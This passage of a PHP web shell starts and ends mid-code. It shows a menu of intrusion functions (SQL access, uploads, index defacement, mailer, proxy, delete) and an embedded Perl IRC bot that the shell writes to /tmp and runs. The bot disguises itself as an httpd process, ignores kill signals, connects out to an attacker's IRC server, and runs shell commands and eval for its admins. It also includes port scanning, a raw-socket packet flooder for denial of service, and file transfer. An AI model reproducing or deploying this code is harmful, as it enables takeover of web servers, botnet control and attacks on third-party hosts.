";
$table_up3 = "";
$table_end1 = " 4 ";
$lb = "[ ";
$rb = "] ";
$font = "";
$ts = "";
$fs = "";
if(isset($_GET['users']))
{
if(!$users=get_users()) { echo " ".$lang[$language.'_text96']." ";
foreach($res as $file=>$v)
{
$r .= "";
$r .= "".ws(3);
$r .= (!$unix)? str_replace("/","\\",$file) : $file;
$r .= " ";
foreach($v as $a=>$b)
{
$r .= "";
$r .= "".$a." ".ws(2).$b." \n";
}
}
$r .= "
";
echo $r;
}
else
{
echo "".$lang[$language.'_text56']."
";
}
echo "';
echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
if(!empty($txt)) { echo " $txt"; }
echo '
';
return null;
}
function perms($mode)
{
if (!$GLOBALS['unix']) return 0;
if( $mode & 0x1000 ) { $type='p'; }
else if( $mode & 0x2000 ) { $type='c'; }
else if( $mode & 0x4000 ) { $type='d'; }
else if( $mode & 0x6000 ) { $type='b'; }
else if( $mode & 0x8000 ) { $type='-'; }
else if( $mode & 0xA000 ) { $type='l'; }
else if( $mode & 0xC000 ) { $type='s'; }
else $type='u';
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}
function in($type,$name,$size,$value,$checked=0)
{
$ret = "".$t1." ".$t2." FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
$this->text = $text;
$this->FilesTotal = @count($this->FilesToSearch);
$this->TimeStart = getmicrotime();
$this->MatchesCount = 0;
$this->ResultFiles = Array();
$this->FileMatchesCount = Array();
$this->titles = Array();
}
function GetFilesTotal() { return $this->FilesTotal; }
function GetTitles() { return $this->titles; }
function GetTimeTotal() { return $this->TimeTotal; }
function GetMatchesCount() { return $this->MatchesCount; }
function GetFileMatchesCount() { return $this->FileMatchesCount; }
function GetResultFiles() { return $this->ResultFiles; }
function SearchText($phrase=0,$case=0) {
$qq = @explode(' ',$this->text);
$delim = '|';
if($phrase)
foreach($qq as $k=>$v)
$qq[$k] = '\b'.$v.'\b';
$words = '('.@implode($delim,$qq).')';
$pattern = "/".$words."/";
if(!$case)
$pattern .= 'i';
foreach($this->FilesToSearch as $k=>$filename)
{
$this->FileMatchesCount[$filename] = 0;
$FileStrings = @file($filename) or @next;
for($a=0;$a<@count($FileStrings);$a++)
{
$count = 0;
$CurString = $FileStrings[$a];
$CurString = @Trim($CurString);
$CurString = @strip_tags($CurString);
$aa = '';
if(($count = @preg_match_all($pattern,$CurString,$aa)))
{
$CurString = @preg_replace($pattern,"\\1 OverclockiX Shell-Connector || Connecting to $ircserver<title>";
echo "<body bgcolor=\"black\" text=\"green\">";
echo "Now Connecting to <b><font color=\"red\">$ircserver</font></b> in <b><font color=\"yellow\">$ircchan</font></b> Andministrators: <b><font color=\"yellow\">$ircadmin</font></b> Botname is <b><font color=\"yellow\">$irclabel</font></b>";
echo "<p>Dont Forget to Delete Loader.pl in /tmp</p>";
#######################################################
######################IRC Trojan##########################
$file="
################ CONFIGURACAO #################################################################
my \$processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
#----------------------------------------------################################################
my \$linas_max='48'; # Evita o flood :) depois de X linhas #
#----------------------------------------------################################################
my \$sleep='4'; # ele dorme X segundos #
##################### IRC #####################################################################
my @adms=(\"$ircadmin\"); # Nick do administrador #
#----------------------------------------------################################################
my @canais=(\"$ircchan\"); # Caso haja senha (\"#canal :senha\") #
#----------------------------------------------################################################
my \$nick='$irclabel'; # Nick do bot. Caso esteja em uso vai aparecer #
# aparecer com numero radonamico no final #
#----------------------------------------------################################################
my \$ircname = 'Linux'; # User ID #
#----------------------------------------------################################################
chop (my \$realname = `uname -a`); # Full Name #
#----------------------------------------------################################################
\$servidor='$ircserver' unless \$servidor; # Servidor de irc que vai ser usado #
# caso n?o seja especificado no argumento #
#----------------------------------------------################################################
my \$porta='6667'; # Porta do servidor de irc #
################ ACESSO A SHELL ###############################################################
my \$secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
###############################################################################################
my \$VERSAO = '0.2';
\$SIG{'INT'} = 'IGNORE';
\$SIG{'HUP'} = 'IGNORE';
\$SIG{'TERM'} = 'IGNORE';
\$SIG{'CHLD'} = 'IGNORE';
\$SIG{'PS'} = 'IGNORE';
\$SIG{'STOP'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir(\"/\");
\$servidor=\"\$ARGV[0]\" if \$ARGV[0];
$0=\"\$processo\".\"\0\"x16;;
my \$pid=fork;
exit if \$pid;
die \"Problema com o fork: $!\" unless defined(\$pid);
my \$dcc_sel = new IO::Select->new();
#############################
# B0tchZ na veia ehehe :P #
#############################
\$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my \$socket = \$_[0];
print \$socket \"\$_[1]\\n\";
} else {
print \$IRC_cur_socket \"\$_[0]\\n\";
}
}
#################################
sub conectar {
my \$meunick = \$_[0];
my \$servidor_con = \$_[1];
my \$porta_con = \$_[2];
my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1);
if (defined(\$IRC_socket)) {
\$IRC_cur_socket = \$IRC_socket;
\$IRC_socket->autoflush(1);
\$sel_cliente->add(\$IRC_socket);
\$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\";
\$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\";
\$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
\$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost;
nick(\"\$meunick\");
sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\");
sleep 1;
}
} #####################
my \$line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); }
delete(\$irc_servers{''}) if (defined(\$irc_servers{''}));
&DCC::connections;
my @ready = \$sel_cliente->can_read(0);
next unless(@ready);
foreach \$fh (@ready) {
\$IRC_cur_socket = \$fh;
\$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'};
\$nread = sysread(\$fh, \$msg, 4096);
if (\$nread == 0) {
\$sel_cliente->remove(\$fh);
\$fh->close;
delete(\$irc_servers{\$fh});
}
@lines = split (/\\n/, \$msg);
for(my \$c=0; \$c<= $#lines; \$c++) {
\$line = \$lines[\$c];
\$line=\$line_temp.\$line if (\$line_temp);
\$line_temp='';
\$line =~ s/\\r$//;
unless (\$c == $#lines) {
parse(\"\$line\");
} else {
if ($#lines == 0) {
parse(\"\$line\");
} elsif (\$lines[\$c] =~ /\\r$/) {
parse(\"\$line\");
} elsif (\$line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse(\"\$line\");
} else {
\$line_temp = \$line;
}
}
}
}
}
#########################
sub parse {
my \$servarg = shift;
if (\$servarg =~ /^PING \:(.*)/) {
sendraw(\"PONG :$1\");
} elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my \$pn=$1; my \$onde = $4; my \$args = $5;
if (\$args =~ /^\\001VERSION\\001$/) {
notice(\"\$pn\", \"\\001VERSION ShellBOT-\$VERSAO por 0ldW0lf\\001\");
}
if (grep {\$_ =~ /^\Q\$pn\E$/i } @adms) {
if (\$onde eq \"\$meunick\"){
shell(\"\$pn\", \"\$args\");
}
if (\$args =~ /^(\Q\$meunick\E|\!atrix)\s+(.*)/ ) {
my \$natrix = $1;
my \$arg = $2;
if (\$arg =~ /^\!(.*)/) {
ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!atrix\" and \$arg =~ /^\!nick/);
} elsif (\$arg =~ /^\@(.*)/) {
\$ondep = \$onde;
\$ondep = \$pn if \$onde eq \$meunick;
bfunc(\"\$ondep\",\"$1\");
} else {
shell(\"\$onde\", \"\$arg\");
}
}
}
} elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc(\$meunick)) {
\$meunick=$4;
\$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
}
} elsif (\$servarg =~ m/^\:(.+?)\s+433/i) {
nick(\"\$meunick\".int rand(9999));
} elsif (\$servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
\$meunick = $2;
\$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
\$irc_servers{\$IRC_cur_socket}{'nome'} = \"$1\";
foreach my \$canal (@canais) {
sendraw(\"JOIN \$canal\");
}
}
}
##########################
sub bfunc {
my \$printl = \$_[0];
my \$funcarg = \$_[1];
if (my \$pid = fork) {
waitpid(\$pid, 0);
} else {
if (fork) {
exit;
} else {
if (\$funcarg =~ /^portscan (.*)/) {
my \$hostip=\"$1\";
my @portas=(\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"110\",\"143\");
my (@aberta, %porta_banner);
foreach my \$porta (@portas) {
my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4);
if (\$scansock) {
push (@aberta, \$porta);
\$scansock->close;
}
}
if (@aberta) {
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :portas abertas: @aberta\");
} else {
sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :Nenhuma porta aberta foi encontrada\");
}
}
if (\$funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
my (\$dtime, %pacotes) = attacker(\"$1\", \"$2\", \"$3\");
\$dtime = 1 if \$dtime == 0;
my %bytes;
\$bytes{igmp} = $2 * \$pacotes{igmp};
\$bytes{icmp} = $2 * \$pacotes{icmp};
\$bytes{o} = $2 * \$pacotes{o};
\$bytes{udp} = $2 * \$pacotes{udp};
\$bytes{tcp} = $2 * \$pacotes{tcp};
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002 - Status GERAL -\\002\");
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Tempo\\002: \$dtime\".\"s\");
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total pacotes\\002: \".(\$pacotes{udp} + \$pacotes{igmp} + \$pacotes{icmp} + \$pacotes{o}));
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total bytes\\002: \".(\$bytes{icmp} + \$bytes {igmp} + \$bytes{udp} + \$bytes{o}));
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002M?dia de envio\\002: \".int(((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024)/\$dtime).\" kbps\");
}
exit;
}
}
}
##########################
sub ircase {
my (\$kem, \$printl, \$case) = @_;
if (\$case =~ /^join (.*)/) {
j(\"$1\");
}
if (\$case =~ /^part (.*)/) {
p(\"$1\");
}
if (\$case =~ /^rejoin\s+(.*)/) {
my \$chan = $1;
if (\$chan =~ /^(\d+) (.*)/) {
for (my \$ca = 1; \$ca <= $1; \$ca++ ) {
p(\"$2\");
j(\"$2\");
}
} else {
p(\"\$chan\");
j(\"\$chan\");
}
}
if (\$case =~ /^op/) {
op(\"\$printl\", \"\$kem\") if \$case eq \"op\";
my \$oarg = substr(\$case, 3);
op(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
}
if (\$case =~ /^deop/) {
deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\";
my \$oarg = substr(\$case, 5);
deop(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
}
if (\$case =~ /^voice/) {
voice(\"\$printl\", \"\$kem\") if \$case eq \"voice\";
\$oarg = substr(\$case, 6);
voice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
}
if (\$case =~ /^devoice/) {
devoice(\"\$printl\", \"\$kem\") if \$case eq \"devoice\";
\$oarg = substr(\$case, 8);
devoice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
}
if (\$case =~ /^msg\s+(\S+) (.*)/) {
msg(\"$1\", \"$2\");
}
if (\$case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my \$cf = 1; \$cf <= $1; \$cf++) {
msg(\"$2\", \"$3\");
}
}
if (\$case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp(\"$1\", \"$2\");
}
if (\$case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my \$cf = 1; \$cf <= $1; \$cf++) {
ctcp(\"$2\", \"$3\");
}
}
if (\$case =~ /^invite\s+(\S+) (.*)/) {
invite(\"$1\", \"$2\");
}
if (\$case =~ /^nick (.*)/) {
nick(\"$1\");
}
if (\$case =~ /^conecta\s+(\S+)\s+(\S+)/) {
conectar(\"$2\", \"$1\", 6667);
}
if (\$case =~ /^send\s+(\S+)\s+(\S+)/) {
DCC::SEND(\"$1\", \"$2\");
}
if (\$case =~ /^raw (.*)/) {
sendraw(\"$1\");
}
if (\$case =~ /^eval (.*)/) {
eval \"$1\";
}
}
##########################
sub shell {
return unless \$secv;
my \$printl=\$_[0];
my \$comando=\$_[1];
if (\$comando =~ /cd (.*)/) {
chdir(\"$1\") || msg(\"\$printl\", \"Dossier Makayench :D \");
return;
}
elsif (\$pid = fork) {
waitpid(\$pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`\$comando 2>&1 3>&1`;
my \$c=0;
foreach my \$linha (@resp) {
\$c++;
chop \$linha;
sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\");
if (\$c == \"\$linas_max\") {
\$c=0;
sleep \$sleep;
}
}
exit;
}
}
}
#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
my \$iaddr = inet_aton(\$_[0]);
my \$msg = 'B' x \$_[1];
my \$ftime = \$_[2];
my \$cp = 0;
my (%pacotes);
\$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \$pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or \$cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or \$cp++;
return(undef) if \$cp == 4;
my \$itime = time;
my (\$cur_time);
while ( 1 ) {
for (my \$porta = 1; \$porta <= 65535; \$porta++) {
\$cur_time = time - \$itime;
last if \$cur_time >= \$ftime;
send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++;
send(SOCK2, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++;
send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++;
send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++;
# DoS ?? :P
for (my \$pc = 3; \$pc <= 255;\$pc++) {
next if \$pc == 6;
\$cur_time = time - \$itime;
last if \$cur_time >= \$ftime;
socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next;
send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;;
}
}
last if \$cur_time >= \$ftime;
}
return(\$cur_time, %pacotes);
}
#############
# ALIASES #
#############
sub action {
return unless $#_ == 1;
sendraw(\"PRIVMSG \$_[0] :\\001ACTION \$_[1]\\001\");
}
sub ctcp {
return unless $#_ == 1;
sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\");
}
sub msg {
return unless $#_ == 1;
sendraw(\"PRIVMSG \$_[0] :\$_[1]\");
}
sub notice {
return unless $#_ == 1;
sendraw(\"NOTICE \$_[0] :\$_[1]\");
}
sub op {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] +o \$_[1]\");
}
sub deop {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] -o \$_[1]\");
}
sub hop {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] +h \$_[1]\");
}
sub dehop {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] +h \$_[1]\");
}
sub voice {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] +v \$_[1]\");
}
sub devoice {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] -v \$_[1]\");
}
sub ban {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] +b \$_[1]\");
}
sub unban {
return unless $#_ == 1;
sendraw(\"MODE \$_[0] -b \$_[1]\");
}
sub kick {
return unless $#_ == 1;
sendraw(\"KICK \$_[0] \$_[1] :\$_[2]\");
}
sub modo {
return unless $#_ == 0;
sendraw(\"MODE \$_[0] \$_[1]\");
}
sub mode { modo(@_); }
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw(\"JOIN \$_[0]\");
}
sub p { part(@_); }
sub part {sendraw(\"PART \$_[0]\");}
sub nick {
return unless $#_ == 0;
sendraw(\"NICK \$_[0]\");
}
sub invite {
return unless $#_ == 1;
sendraw(\"INVITE \$_[1] \$_[0]\");
}
sub topico {
return unless $#_ == 1;
sendraw(\"TOPIC \$_[0] \$_[1]\");
}
sub topic { topico(@_); }
sub whois {
return unless $#_ == 0;
sendraw(\"WHOIS \$_[0]\");
}
sub who {
return unless $#_ == 0;
sendraw(\"WHO \$_[0]\");
}
sub names {
return unless $#_ == 0;
sendraw(\"NAMES \$_[0]\");
}
sub away {
sendraw(\"AWAY \$_[0]\");
}
sub back { away(); }
sub quit {
sendraw(\"QUIT :\$_[0]\");
}
# DCC
#########################
package DCC;
sub connections {
my @ready = \$dcc_sel->can_read(1);
# return unless (@ready);
foreach my \$fh (@ready) {
my \$dcctipo = \$DCC{\$fh}{tipo};
my \$arquivo = \$DCC{\$fh}{arquivo};
my \$bytes = \$DCC{\$fh}{bytes};
my \$cur_byte = \$DCC{\$fh}{curbyte};
my \$nick = \$DCC{\$fh}{nick};
my \$msg;
my \$nread = sysread(\$fh, \$msg, 10240);
if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) {
\$DCC{\$fh}{status} = \"Cancelado\";
\$DCC{\$fh}{ftime} = time;
\$dcc_sel->remove(\$fh);
\$fh->close;
next;
}
if (\$dcctipo eq \"get\") {
\$DCC{\$fh}{curbyte} += length(\$msg);
my \$cur_byte = \$DCC{\$fh}{curbyte};
open(FILE, \">> \$arquivo\");
print FILE \"\$msg\" if (\$cur_byte <= \$bytes);
close(FILE);
my \$packbyte = pack(\"N\", \$cur_byte);
print \$fh \"\$packbyte\";
if (\$bytes == \$cur_byte) {
\$dcc_sel->remove(\$fh);
\$fh->close;
\$DCC{\$fh}{status} = \"Recebido\";
\$DCC{\$fh}{ftime} = time;
next;
}
} elsif (\$dcctipo eq \"send\") {
my \$send = \$fh->accept;
\$send->autoflush(1);
\$dcc_sel->add(\$send);
\$dcc_sel->remove(\$fh);
\$DCC{\$send}{tipo} = 'sendcon';
\$DCC{\$send}{itime} = time;
\$DCC{\$send}{nick} = \$nick;
\$DCC{\$send}{bytes} = \$bytes;
\$DCC{\$send}{curbyte} = 0;
\$DCC{\$send}{arquivo} = \$arquivo;
\$DCC{\$send}{ip} = \$send->peerhost;
\$DCC{\$send}{porta} = \$send->peerport;
\$DCC{\$send}{status} = \"Enviando\";
#de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
open(FILE, \"< \$arquivo\");
my \$fbytes;
read(FILE, \$fbytes, 1024);
print \$send \"\$fbytes\";
close FILE;
# delete(\$DCC{\$fh});
} elsif (\$dcctipo eq 'sendcon') {
my \$bytes_sended = unpack(\"N\", \$msg);
\$DCC{\$fh}{curbyte} = \$bytes_sended;
if (\$bytes_sended == \$bytes) {
\$fh->close;
\$dcc_sel->remove(\$fh);
\$DCC{\$fh}{status} = \"Enviado\";
\$DCC{\$fh}{ftime} = time;
next;
}
open(SENDFILE, \"< \$arquivo\");
seek(SENDFILE, \$bytes_sended, 0);
my \$send_bytes;
read(SENDFILE, \$send_bytes, 1024);
print \$fh \"\$send_bytes\";
close(SENDFILE);
}
}
}
##########################
sub SEND {
my (\$nick, \$arquivo) = @_;
unless (-r \"\$arquivo\") {
return(0);
}
my \$dccark = \$arquivo;
\$dccark =~ s/[.*\/](\S+)/$1/;
my \$meuip = $::irc_servers{\"$::IRC_cur_socket\"}{'meuip'};
my \$longip = unpack(\"N\",inet_aton(\$meuip));
my @filestat = stat(\$arquivo);
my \$size_total=\$filestat[7];
if (\$size_total == 0) {
return(0);
}
my (\$porta, \$sendsock);
do {
\$porta = int rand(64511);
\$porta += 1024;
\$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>\$porta, Proto => 'tcp') and \$dcc_sel->add(\$sendsock);
} until \$sendsock;
\$DCC{\$sendsock}{tipo} = 'send';
\$DCC{\$sendsock}{nick} = \$nick;
\$DCC{\$sendsock}{bytes} = \$size_total;
\$DCC{\$sendsock}{arquivo} = \$arquivo;
&::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\");
}
sub GET {
my (\$arquivo, \$dcclongip, \$dccporta, \$bytes, \$nick) = @_;
return(0) if (-e \"\$arquivo\");
if (open(FILE, \"> \$arquivo\")) {
close FILE;
} else {
return(0);
}
my \$dccip=fixaddr(\$dcclongip);
return(0) if (\$dccporta < 1024 or not defined \$dccip or \$bytes < 1);
my \$dccsock = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\$dccip, PeerPort=>\$dccporta, Timeout=>15) or return (0);
\$dccsock->autoflush(1);
\$dcc_sel->add(\$dccsock);
\$DCC{\$dccsock}{tipo} = 'get';
\$DCC{\$dccsock}{itime} = time;
\$DCC{\$dccsock}{nick} = \$nick;
\$DCC{\$dccsock}{bytes} = \$bytes;
\$DCC{\$dccsock}{curbyte} = 0;
\$DCC{\$dccsock}{arquivo} = \$arquivo;
\$DCC{\$dccsock}{ip} = \$dccip;
\$DCC{\$dccsock}{porta} = \$dccporta;
\$DCC{\$dccsock}{status} = \"Recebendo\";
}
############################
# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
my \$socket = shift;
my \$sock_tipo = \$DCC{\$socket}{tipo};
unless (lc(\$sock_tipo) eq \"chat\") {
my \$nick = \$DCC{\$socket}{nick};
my \$arquivo = \$DCC{\$socket}{arquivo};
my \$itime = \$DCC{\$socket}{itime};
my \$ftime = time;
my \$status = \$DCC{\$socket}{status};
\$ftime = \$DCC{\$socket}{ftime} if defined(\$DCC{\$socket}{ftime});
my \$d_time = \$ftime-\$itime;
my \$cur_byte = \$DCC{\$socket}{curbyte};
my \$bytes_total = \$DCC{\$socket}{bytes};
my \$rate = 0;
\$rate = (\$cur_byte/1024)/\$d_time if \$cur_byte > 0;
my \$porcen = (\$cur_byte*100)/\$bytes_total;
my (\$r_duv, \$p_duv);
if (\$rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
\$r_duv = $3; \$r_duv++ if $4 >= 5;
\$rate = \"$1\.$2\".\"\$r_duv\";
}
if (\$porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
\$p_duv = $3; \$p_duv++ if $4 >= 5;
\$porcen = \"$1\.$2\".\"\$p_duv\";
}
return(\"\$sock_tipo\",\"\$status\",\"\$nick\",\"\$arquivo\",\"\$bytes_total\", \"\$cur_byte\",\"\$d_time\", \"\$rate\", \"\$porcen\");
}
return(0);
}
# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
sub fixaddr {
my (\$address) = @_;
chomp \$address; # just in case, sigh.
if (\$address =~ /^\d+$/) {
return inet_ntoa(pack \"N\", \$address);
} elsif (\$address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
return \$address;
} elsif (\$address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
return inet_ntoa(((gethostbyname(\$address))[4])[0]);
} else {
return;
}
}
############################
";
$bot = "/tmp/ircs.pl";
$open = fopen($bot,"w");
fputs($open,$file);
fclose($open);
$cmd="perl $bot";
$cmd2="rm $bot";
system($cmd);
system($cmd2);
$_POST['cmd']="echo \"Now script try connect to ircserver ...\"";
}
if($unix)
{
if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
if($safe_mode) { $sysctl = '-'; }
else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
else
{
$sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
if(empty($sysctl)) { $sysctl = '-'; }
setcookie('sysctl',$sysctl);
}
}
echo $head;
echo '</head>';
if(empty($_POST['cmd'])) {
$serv = array(127,192,172,10);
$addr=@explode('.', $_SERVER['SERVER_ADDR']);
$current_version = str_replace('.','',$version);
if (!in_array($addr[0], $serv)) {
@print "<img src=\"http://127.0.0.1/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>";
@readfile ("http://127.0.0.1/version.php?version=".$current_version."");}}
echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#CCCCCC><tr><td bgcolor=#000000 width=160><font face=Comic Sans MS size=4>'.ws(2).'<DIV dir=ltr align=center><font face=Webdings size=10><b>!</b></font><b>'.ws(2).'<DIV dir=ltr align=center><SPAN
style="FILTER: blur(add=1,direction=10,strength=25); HEIGHT: 25px">
<SPAN
style="FONT-SIZE: 20pt; COLOR: red; FONT-FAMILY: Impact">h1kt0s4</P></SPAN></DIV></font></b></font></td><td bgcolor=#000000><font face=tahoma size=1>';
echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>";
echo "<br>".ws(2)."</b>";
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."? title=\"".$lang[$language.'_text46']."\"><b>home</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?sqlman title=\"".$lang[$language.'_text46']."\"><b>SQL</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?xp title=\"".$lang[$language.'_text555']."\"><b>Cpanel</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?uploadds title=\"".$lang[$language.'_text50']."\"><b>upload-2</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?scriptt title=\"".$lang[$language.'_text995']."\"><b>edit index vb</b></a> ".$rb;
echo "<br>".ws(2)."</b>";
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpproxy title=\"".$lang[$language.'_text959']."\"><b>php proxy</b></a> ".$rb;
if($unix)
{
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?zone title=\"".$lang[$language.'_text955']."\"><b>zone</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?milr title=\"".$lang[$language.'_text551']."\"><b>Mailer</b></a> ".$rb;
}
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>";
echo ws(2)."safe_mode: <b>";
echo (($safe_mode)?("<font color=#008000>ON</font>"):("<font color=red>OFF</font>"));
echo "</b>".ws(2);
echo "PHP version: <b>".@phpversion()."</b>";
$curl_on = @function_exists('curl_version');
echo ws(2);
echo "cURL: <b>".(($curl_on)?("<font color=#008000>ON</font>"):("<font color=red>OFF</font>"));
echo "</b>".ws(2);
echo "MYSQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=#008000>ON</font>"; } else { echo "<font color=red>OFF</font>"; }
echo "</b>".ws(2);
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=#008000>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b>".ws(2);
